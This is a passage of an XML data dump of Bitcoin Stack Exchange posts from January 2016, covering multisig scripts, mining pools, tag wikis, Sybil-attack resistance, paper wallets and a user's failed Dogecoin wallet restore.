limited by diminishing returns though. At some point electricity doesn't become cheaper anymore if you buy more and at some point fixed overhead costs become insignificant anyway. It's hard to say when the combined benefits to growing further will stop being significant. But it can certainly push small miners out of business and make it that much harder and riskier to start a new mining company.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One economy of scale that sort of works as a disadvantage to larger miners is heat dissipation: it's a easier to get rid of waste heat (or even to use the heat productively) at small to medium scale. Large concentrated miners need special equipment to get rid of heat or it prevents them from operating in hot climates.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2016-01-05T05:56:18.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42150" PostTypeId="1" AcceptedAnswerId="42151" CreationDate="2016-01-05T06:21:05.763" Score="1" ViewCount="131" Body="&lt;p&gt;Is it possible to create a multisig address such that it has 3 public keys attached, needs 2 signatures to create a transaction, &lt;em&gt;but&lt;/em&gt; one of the signatures must be from a specific public key of the 3? If so, how?&lt;/p&gt;&#xA;" OwnerUserId="31688" LastActivityDate="2016-01-05T06:50:58.673" Title="Multisig address with a specific required signature" Tags="|multi-signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42151" PostTypeId="2" ParentId="42150" CreationDate="2016-01-05T06:38:43.350" Score="1" Body="&lt;p&gt;redeem:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;pubkey3&amp;gt; OP_CHECKSIGVERIFY OP_1 &amp;lt;pubkey1&amp;gt; &amp;lt;pubkey2&amp;gt; OP_2 OP_CHECKMULTISIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;scriptSig:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_FALSE &amp;lt;sig1&amp;gt; &amp;lt;sig3&amp;gt; &amp;lt;redeem&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_FALSE &amp;lt;sig2&amp;gt; &amp;lt;sig3&amp;gt; &amp;lt;redeem&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12983" LastEditorUserId="12983" LastEditDate="2016-01-05T06:50:58.673" LastActivityDate="2016-01-05T06:50:58.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42152" PostTypeId="1" CreationDate="2016-01-05T08:30:51.477" Score="0" ViewCount="449" Body="&lt;p&gt;The open source FPGA miner with source available at &lt;a href=&quot;https://github.com/progranism/Open-Source-FPGA-Bitcoin-Miner&quot; rel=&quot;nofollow&quot;&gt;https://github.com/progranism/Open-Source-FPGA-Bitcoin-Miner&lt;/a&gt; does not support stratum, so in order to test it, I need an http pool. Are there any left?&lt;/p&gt;&#xA;" OwnerUserId="31689" LastActivityDate="2024-03-17T18:03:15.367" Title="What are some http mining pools out there?" Tags="|stratum|http|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42153" PostTypeId="2" ParentId="42117" CreationDate="2016-01-05T10:57:24.063" Score="1" Body="&lt;p&gt;No, it is not possible. Tools like this use P2SH, which means the script which locks the output isn't visible until it has been spent. You can determine how much &lt;strong&gt;might&lt;/strong&gt; be locked (total P2SH outputs for which no script is known) and how much &lt;strong&gt;isn't&lt;/strong&gt; (total non-P2SH outputs), but you can't tell much more than that. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2016-01-05T10:57:24.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42154" PostTypeId="2" ParentId="42134" CreationDate="2016-01-05T12:07:57.667" Score="2" Body="&lt;p&gt;Okay, there's a bug in the pip version of python-bitcoinrpc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;use &lt;code&gt;pip install git+https://github.com/jgarzik/python-bitcoinrpc.git&lt;/code&gt; instead.&lt;/p&gt;&#xA;" OwnerUserId="31628" LastActivityDate="2016-01-05T12:07:57.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42155" PostTypeId="5" CreationDate="2016-01-05T12:08:20.390" Score="0" Body="&lt;p&gt;The Proof of Work scheme is one where one can verify that another person performed, on average, a certain amount of work. It is easy to verify a Proof of Work but hard to produce one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin uses Proof of Work in mining. Miners continuously modify and hash blocks in order to find a hash which is less than the target. This process is difficult and requires a lot of work, but is easy for everyone else to verify and prove that the hash is indeed less than the target. Because the target is a specifically chosen small value, having a hash that is less than that target means that the miner must have done a certain amount of hashes, on average, to produce the block hash.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="48884" LastEditDate="2017-10-21T00:05:07.807" LastActivityDate="2017-10-21T00:05:07.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42156" PostTypeId="4" CreationDate="2016-01-05T12:08:20.390" Score="0" Body="This tag should be used for questions regarding how Proof of Work works and Proof of Work algorithms. Proof of Work is a scheme where a 3rd party can verify that someone performed at least a certain amount of work to produce something. This is used in Bitcoin mining." OwnerUserId="5406" LastEditorUserId="48884" LastEditDate="2017-10-21T00:05:07.807" LastActivityDate="2017-10-21T00:05:07.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42157" PostTypeId="5" CreationDate="2016-01-05T12:12:12.830" Score="0" Body="&lt;p&gt;An unconfirmed transaction is a valid transaction which has not been confirmed, i.e. it has not yet been included in a block. A transaction may be unconfirmed for many reasons: it was recently broadcast and a block has not yet been found, it's transaction fee is too low, it has many unconfirmed parent transactions, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unconfirmed transactions should generally not be accepted as a payment unless the receiver is highly confident that the transaction will confirm. Even so, high value payments should wait for a confirmation before considered final as double spending an unconfirmed transaction is fairly trivial, even without the Replace-By-Fee node policy employed today by many nodes.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="48884" LastEditDate="2017-10-20T02:23:56.370" LastActivityDate="2017-10-20T02:23:56.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42158" PostTypeId="4" CreationDate="2016-01-05T12:12:12.830" Score="0" Body="Transactions that have not yet been included in a block." OwnerUserId="5406" LastEditorUserId="13866" LastEditDate="2023-05-11T13:31:05.790" LastActivityDate="2023-05-11T13:31:05.790" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="42159" PostTypeId="1" CreationDate="2016-01-05T12:14:20.280" Score="4" ViewCount="6265" Body="&lt;p&gt;I am starting to do Algorithmic trading in cryptocurrencies using Python libraries. Most exchanges have RESTful APIs that make it easy to write you own code and get started.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I would like to benefit from the analytical features of established libraries such as zipline and others. However these do not support the trading of cryptocurrencies (yet).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I just try to write a backend for my favorite cryptocurrency exchange (currently ANX), or are there off-the-github-shelf solutions out there?&lt;/p&gt;&#xA;" OwnerUserId="1603" LastActivityDate="2023-04-26T07:46:18.303" Title="Algorithmic trading python library?" Tags="|exchanges|trading|algorithms|python|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42160" PostTypeId="5" CreationDate="2016-01-05T12:25:20.423" Score="0" Body="&lt;p&gt;Bitcoin transactions have a transaction id (txid) formed as a hash over the data involved in the transaction. That suggests that it is a unique identifier for a transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the txid of a transaction is only unique once the exact data in the transaction has been finalized by being incorporated into the blockchain (and confirmed). Until then, there are hacks that allow altering the underlying data and hash. This is not a security issue because it is not possible to alter how many bitcoins are transferred from what input to what output. But details such as what format the transaction’s cryptographic signature takes, or the exact signature script used, can be changed: They are malleable, making the derived hash or transaction id malleable as well.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Wiki derived from answer on &lt;a href=&quot;https://bitcoin.stackexchange.com/q/21994/5406&quot;&gt;What is Transaction Malleability?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="38028" LastEditDate="2017-08-27T19:38:38.317" LastActivityDate="2017-08-27T19:38:38.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42161" PostTypeId="4" CreationDate="2016-01-05T12:25:20.423" Score="0" Body="A property of Bitcoin transactions that allows them to be replicated with another transaction id before they are included in a block." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-01-05T12:25:20.423" LastActivityDate="2016-01-05T12:25:20.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42162" PostTypeId="5" CreationDate="2016-01-05T12:45:01.203" Score="0" Body="&lt;p&gt;Also see: &lt;a href=&quot;https://en.bitcoin.it/wiki/Cold_storage&quot; rel=&quot;nofollow&quot;&gt;Cold storage (BTC Wiki)&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-01-05T12:51:42.043" LastActivityDate="2016-01-05T12:51:42.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42163" PostTypeId="4" CreationDate="2016-01-05T12:45:01.203" Score="0" Body="Storing a wallet offline, i.e. making the private keys inaccessible from the web. This is e.g. implemented through use of Paper and Hardware Wallets." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-01-05T12:45:01.203" LastActivityDate="2016-01-05T12:45:01.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42164" PostTypeId="5" CreationDate="2016-01-05T12:59:48.070" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-01-05T12:59:48.070" LastActivityDate="2016-01-05T12:59:48.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42165" PostTypeId="4" CreationDate="2016-01-05T12:59:48.070" Score="0" Body="Collects general questions about using Bitcoin on Android devices. For questions about the popular wallet use btc-wallet-for-android." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-01-05T12:59:48.070" LastActivityDate="2016-01-05T12:59:48.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42167" PostTypeId="5" CreationDate="2016-01-05T14:02:36.450" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-01-05T14:02:36.450" LastActivityDate="2016-01-05T14:02:36.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42168" PostTypeId="4" CreationDate="2016-01-05T14:02:36.450" Score="0" Body="Bitcoin Wallet is an open source client that gives you full control over your money and does not rely on any central services to operate. It is available for Android and BlackBerry OS, support for Chrome OS is planned." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2017-01-03T17:08:12.760" LastActivityDate="2017-01-03T17:08:12.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42169" PostTypeId="5" CreationDate="2016-01-05T14:04:28.793" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-01-05T14:04:28.793" LastActivityDate="2016-01-05T14:04:28.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42170" PostTypeId="4" CreationDate="2016-01-05T14:04:28.793" Score="0" Body="Mycelium Bitcoin Wallet for Android is a simple open source client. It gives you full control over your money, but relies on centralized validation." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-01-05T14:04:28.793" LastActivityDate="2016-01-05T14:04:28.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42171" PostTypeId="2" ParentId="42159" CreationDate="2016-01-05T15:07:43.013" Score="2" Body="&lt;p&gt;The only one I know of is based on the &lt;a href=&quot;https://github.com/PierreRochard/coinbase-exchange-order-book&quot; rel=&quot;nofollow&quot;&gt;Coinbase Exchange API&lt;/a&gt;. I can't vouch for how good it is, but it's written in Python.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2016-01-05T15:07:43.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42172" PostTypeId="5" CreationDate="2016-01-05T15:31:34.300" Score="0" Body="&lt;p&gt;Raw transactions are bitcoin transactions that have been serialized for network transmission. Use this tag for questions relating to how to serialize, deserialize, or manipulate raw transaction data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Raw transactions are also used as part of Bitcoin Core's RPC interface through the use of the following RPC commands: &lt;code&gt;createrawtransaction&lt;/code&gt;, &lt;code&gt;decoderawtransaction&lt;/code&gt;, &lt;code&gt;getrawtransaction&lt;/code&gt;, &lt;code&gt;sendrawtransaction&lt;/code&gt;, and &lt;code&gt;fundrawtransaction&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Typically, hex formatting is used for representing raw transactions in the RPC commands, questions and answers. The format of raw transactions can be found &lt;a href=&quot;https://bitcoin.org/en/developer-reference#raw-transaction-format&quot; rel=&quot;nofollow noreferrer&quot;&gt;on bitcoin.org&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="48884" LastEditDate="2017-10-21T00:09:48.897" LastActivityDate="2017-10-21T00:09:48.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42173" PostTypeId="4" CreationDate="2016-01-05T15:31:34.300" Score="0" Body="This tag should be used for questions related to raw transactions, bitcoin transactions that have been serialized for network transmission." OwnerUserId="18196" LastEditorUserId="48884" LastEditDate="2017-10-21T00:09:48.897" LastActivityDate="2017-10-21T00:09:48.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42174" PostTypeId="1" CreationDate="2016-01-05T16:52:49.333" Score="1" ViewCount="107" Body="&lt;p&gt;What are the &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;P2P network magic bytes&lt;/li&gt;&#xA;&lt;li&gt;P2PKH version byte&lt;/li&gt;&#xA;&lt;li&gt;P2SH version byte&lt;/li&gt;&#xA;&lt;li&gt;Private key version byte&lt;/li&gt;&#xA;&lt;li&gt;P2P Port&lt;/li&gt;&#xA;&lt;li&gt;RPC Port&lt;/li&gt;&#xA;&lt;li&gt;Atomic units per coin (100,000,000 for bitcoin)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;for Bitcoin, Bitcoin testnet, and common altcoins?&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2016-01-05T18:26:49.677" LastActivityDate="2016-01-05T18:26:49.677" Title="Table of coin parameters" Tags="|address|altcoin|satoshi|port|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42176" PostTypeId="1" CreationDate="2016-01-05T17:42:23.807" Score="2" ViewCount="563" Body="&lt;p&gt;In the &lt;code&gt;createP2SHMultiSigInputScript()&lt;/code&gt; function of BitcoinJ according to this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;public static Script createP2SHMultiSigInputScript(@NullableList signatures,&lt;strong&gt;Script multisigProgram&lt;/strong&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Create a program that satisfies a pay-to-script hashed OP_CHECKMULTISIG program. If given signature list is null, incomplete scriptSig will be created with OP_0 instead of signatures&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoinj.github.io/javadoc/0.12/org/bitcoinj/script/ScriptBuilder.html#createP2SHMultiSigInputScript-java.util.List-org.bitcoinj.script.Script-&quot; rel=&quot;nofollow&quot;&gt;https://bitcoinj.github.io/javadoc/0.12/org/bitcoinj/script/ScriptBuilder.html#createP2SHMultiSigInputScript-java.util.List-org.bitcoinj.script.Script-&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the &lt;strong&gt;Script multisigProgam&lt;/strong&gt; input refers to the Redeem Script or the ScriptPubKey??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;due to the fact that the &lt;code&gt;createP2SHMultiSigInputScript()&lt;/code&gt; returns the ScriptSig script.&lt;/p&gt;&#xA;" OwnerUserId="31202" LastEditorUserId="5406" LastEditDate="2022-06-17T15:27:51.123" LastActivityDate="2022-06-17T15:27:51.123" Title="Creation of P2SH MultiSig Input Script" Tags="|script|multi-signature|bitcoinj|p2sh|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42177" PostTypeId="1" CreationDate="2016-01-05T18:31:50.453" Score="2" ViewCount="826" Body="&lt;p&gt;I suspect that we CAN make them virtually impossible, but that we have not yet done so.  We operate on the assumption that computing a private key from the public key is virtually impossible.  We also operate on the assumption that computing a pre-image from a SHA256 hash is virtually impossible.  We are comfortable with these assumptions because we have theoretical responses to handle their failure.  We are prepared, but we are doing nothing to implement the changes required to handle failures of these assumptions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are, however, doing a lot of work to avoid the problems that a Sybil attack can cause.  It would be nice if we established some prophylactics so that effort can be directed more toward improving bitcoin than toward handling Sybil attacks gracefully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, we trust &quot;the network&quot; as represented by eight (or more, if you enable upnp) &quot;random&quot; peers that are part of it, but that trust only goes so far.  We still (by default) validate every transaction in every block.  We still haven't figured out how to compensate non-mining nodes for providing a route between whatever miner solves the next block and a peer who needs such a route.  And we resist sharding the blockchain because we don't want to have to trust strangers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to me that the difficulty of progress in those areas would be significantly reduced if A)the software made Sybil attacks virtually impossible, and B)the virtual impossibility was well established through the natural and existing bitcoin education channels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some methods I've been pondering are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How many valid blocks would indicate that you are connected to the entire network?&lt;/li&gt;&#xA;&lt;li&gt;Has the difficulty been relatively stable?&lt;/li&gt;&#xA;&lt;li&gt;Cycle the set of peers you're using.&lt;/li&gt;&#xA;&lt;li&gt;Make it easy for a node operator to provide IRL contact info, as that would make a node far more trustworthy.&lt;/li&gt;&#xA;&lt;li&gt;Validate peers by requesting known information, like the firstbits of the first transaction hash in the blocktip, or of a transaction that should be in the mempool.  The bitcoin software would include instructions to get this, including a warning that a Sybil attack can include spoofing popular bitcoin data websites like blockchain.info.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1434" LastActivityDate="2016-01-05T19:56:58.357" Title="Can we make Sybil attacks virtually impossible?" Tags="|security|peers|sybil-attack|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42178" PostTypeId="2" ParentId="42177" CreationDate="2016-01-05T19:56:58.357" Score="3" Body="&lt;p&gt;Proof of work is what makes Sybil attacks very difficult. Put simply, you trust the chain with the most proof-of-work on it. This cannot easily be faked (at least without significant mining power). It is possible that all the peers you happen to connect to give you false information, but at any time, if you have even one peer that tells the truth, this can be determined cheaply and easily by seeing that the chain has more proof-of-work than the others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Flooding the bitcoin network with nodes that don't tell the truth is possible, but as long as there are some nodes that tell the truth, it's easy enough to know which ones are telling the truth and therefore easy enough to thwart such Sybil attacks.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2016-01-05T19:56:58.357" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="42179" PostTypeId="2" ParentId="38924" CreationDate="2016-01-05T21:14:16.797" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Download &quot;ripple-paper-wallet&quot; &lt;a href=&quot;https://github.com/OctillionSA/ripple-paper-wallet&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/OctillionSA/ripple-paper-wallet&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open index.html (HTML/javascript) in a browser (on a PC without Internet, better a fresh new OS).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Write down or Print out your paper wallet.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The public key starts with &quot;r&quot; is your Ripple address.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The private key starts with &quot;s&quot; is your &quot;Secret&quot;, keep it safe! You can also use it in case you want to migrate your wallet to online GateHub or to any other wallets. (but it won't be a cold storage after that)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Activate this wallet by sending small amount 20XRP (or more) to the address. (You can activate it here: &lt;a href=&quot;https://bithomp.com/activation/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bithomp.com/activation/&lt;/a&gt;) &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure you address is visible in the explorer: (&lt;a href=&quot;https://bithomp.com/explorer/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bithomp.com/explorer/&lt;/a&gt;). &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can &quot;erase&quot; PC which you used, or just turn it off together with the printer to clean memory.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Congrats: Now you can send big amounts to this address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S: You can also buy a Hard Wallet. like &quot;Ledger wallet&quot; for example. - also a secure way to keep your XRP. &lt;/p&gt;&#xA;" OwnerUserId="31566" LastEditorUserId="31566" LastEditDate="2018-02-16T18:04:56.170" LastActivityDate="2018-02-16T18:04:56.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42180" PostTypeId="1" CreationDate="2016-01-05T21:57:36.617" Score="1" ViewCount="6525" Body="&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt;&lt;br&gt;&#xA;After creating a backup, I added a pin to my &quot;Langerhans&quot; Dogecoin wallet for android. Now, the pin doesn't get accepted (or I forgot it). Finally, I used the &quot;Restore Backup&quot; function and got: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;em&gt;&quot;You have successfully restored your wallet. Now determining the value of your wallet will take some time.&quot;&lt;/em&gt;&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;strong&gt;&lt;em&gt;&quot;Synchronizing with network, 6 weeks behind.&quot;&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Did I lose my money? Do I have to wait six weeks to find out? I also have the backup on my computer, but it is in an &quot;unrecognized format&quot;. How would I use it?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This question regards the &quot;Langerhans&quot; Dogecoin wallet for android phones, which is effectively the same style and configuration of wallet as the &quot;Langerhans&quot; Bitcoin wallet for Bitcoins. Both of these wallets are, of course, available for download through Google Play.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had amassed a total of over 10-million Dogecoins into the android phone wallet (or about $1,500 USD) over the course of approximately one week. I did this by first purchasing Bitcoin from a Bitcoin ATM and then exchanging the Bitcoin for Dogecoin through the SHAPESHIFT.IO exchange system. These exchanges were conducted in the form of 15 separate transactions of equivalent $100 each per transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then backed up the wallet a final time through the wallet itself, which created an external backup file that is accessible not only through my Gmail account, but is also apparently accessible through the Bitcoin wallet on the phone itself. Then (unfortunately) following that final transaction, I created a so-called &quot;Spending PIN,&quot; which would need to be entered any time I wanted to spend the coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, it seems I either forgot my Spending PIN, or something else went wrong with the system; because when I attempted to transfer the coins out of the wallet, the application indicated that I had used an &quot;INVALID PIN.&quot;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;No, I did not write down the PIN, which was numerical and eight (8) digits in length, but it was also a common combination of two separate 4-digit pins that I use all the time anyway; so I didn't think I would forget it. I did attempt several different combinations of any potential PIN numbers that I would have used, but nothing worked. (I also read another testimonial of this same exact thing happening with another user of the Langerhans android wallet, whereby he was certain that he didn't forget his PIN.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In not being able to access the funds in the wallet, I then used the &quot;RESTORE WALLET&quot; function of the wallet itself, which required me to enter another password; but in that case, I did have the password written down. Apparently the process of restoring the wallet was successful at least in the sense that the system accepted my password entered into it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HOWEVER, in the first place, the system offered a warning that any coins in the wallet would be lost following the restoration process UNLESS I had otherwise created a backup of those. The statement in this regard was very general, and in that sense it seemed vague. While I didn't fully understand why it would be telling me that I was going to lose coins if they were not backed up, since I was using the most recent backup file that I had created in the first place, I still assumed that because I had the backup file stored on my Gmail account it would allow me to recover the coins from the external file itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;THEN, in the second place, it was after conducting the &quot;RESTORE WALLET&quot; function where a message appeared on the screen stating to the effect that -- &lt;strong&gt;&lt;em&gt;&quot;You have successfully restored your wallet. Now determining the value of your wallet will take some time.&quot;&lt;/em&gt;&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Okay, so it didn't tell me HOW MUCH TIME that would take, but when I went into my phone wallet, it is showing a balance of ZERO coins. The other notation showing on the wallet is where it states the following: &lt;strong&gt;&lt;em&gt;&quot;Synchronizing with network, 6 weeks behind.&quot;&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SIX WEEKS BEHIND? Good grief! What the hell does that mean? Does it mean that I can expect to be waiting for at least SIX (6) weeks before my coins miraculously appear back inside my wallet? Or is it more likely to mean that I have lost my ass on this whole thing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, the only other thing I still have at this point is the actual externally saved so-called &quot;BACKUP&quot; file that was sent to my Gmail address as an apparently &quot;UNKNOWN&quot; file type. I did open the file through the Windows NOTEPAD program, it shows up as an considerably long string of random characters, which are inclusive of both numbers, letters, as well as the plus (+) sign symbol and the forward slash (/) symbol. There are no other special characters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At least generally, I am strongly presuming (or hoping anyway) that this long string of characters amounts to a valid copy of my suggested backup file that would allow me to recover my coins. If it would allow me to recover my coins, then I don't know how to use it. My only thought for using the file would be the need to turn it into a QR CODE, but the amount of characters in the ledger is too long to be supported by any known online QR CODE generators.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what I can use this backup file of code for in attempting to recover my coins? Naturally, I don't want to wait for SIX WEEKS or more to have the coins back; but I'm also not convinced that I will get them back anyway in that case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help. (&lt;em&gt;sigh&lt;/em&gt;)&lt;/p&gt;&#xA;" OwnerUserId="31700" LastEditorUserId="5406" LastEditDate="2016-01-27T10:41:04.320" LastActivityDate="2021-02-13T14:52:54.047" Title="I Restored My Phone Wallet and Now All My Coins Vanished" Tags="|synchronization|dogecoin|android|bitcoin-wallet-app|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="42182" PostTypeId="2" ParentId="42159" CreationDate="2016-01-05T23:18:32.237" Score="1" Body="&lt;p&gt;I haven't used this but book marked it a long time ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/5an1ty/BitBot&quot; rel=&quot;nofollow&quot;&gt;https://github.com/5an1ty/BitBot&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31391" LastActivityDate="2016-01-05T23:18:32.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42183" PostTypeId="1" CreationDate="2016-01-06T02:03:11.887" Score="0" ViewCount="1085" Body="&lt;p&gt;How do you build a merkle root without a coinbase transaction? I compute the merkle root without the coinbase portion and I get a different root then the submitter. &lt;/p&gt;&#xA;" OwnerUserId="31696" LastEditorUserId="2306" LastEditDate="2016-01-06T02:24:59.833" LastActivityDate="2016-06-04T21:41:45.860" Title="How to compute merkle root without coinbasetxn?" Tags="|bitcoind|getblocktemplate|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42184" PostTypeId="2" ParentId="42183" CreationDate="2016-01-06T03:37:30.517" Score="1" Body="&lt;p&gt;What pool are you using? As an example, if you hit (POST a request to) eligius pool (&lt;a href=&quot;http://gbt.mining.eligius.st:9337&quot; rel=&quot;nofollow&quot;&gt;http://gbt.mining.eligius.st:9337&lt;/a&gt;) with the body as &lt;/p&gt;&#xA;&#xA;&lt;p&gt;{&quot;id&quot;: 0, &quot;method&quot;: &quot;getblocktemplate&quot;, &quot;params&quot;: [{&quot;capabilities&quot;: [&quot;coinbasetxn&quot;, &quot;workid&quot;, &quot;coinbase/append&quot;]}]}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as taken from &lt;a href=&quot;https://en.bitcoin.it/wiki/Getblocktemplate&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Getblocktemplate&lt;/a&gt; you will get a coinbasetxn field returned in the json. &lt;/p&gt;&#xA;" OwnerUserId="31581" LastActivityDate="2016-01-06T03:37:30.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
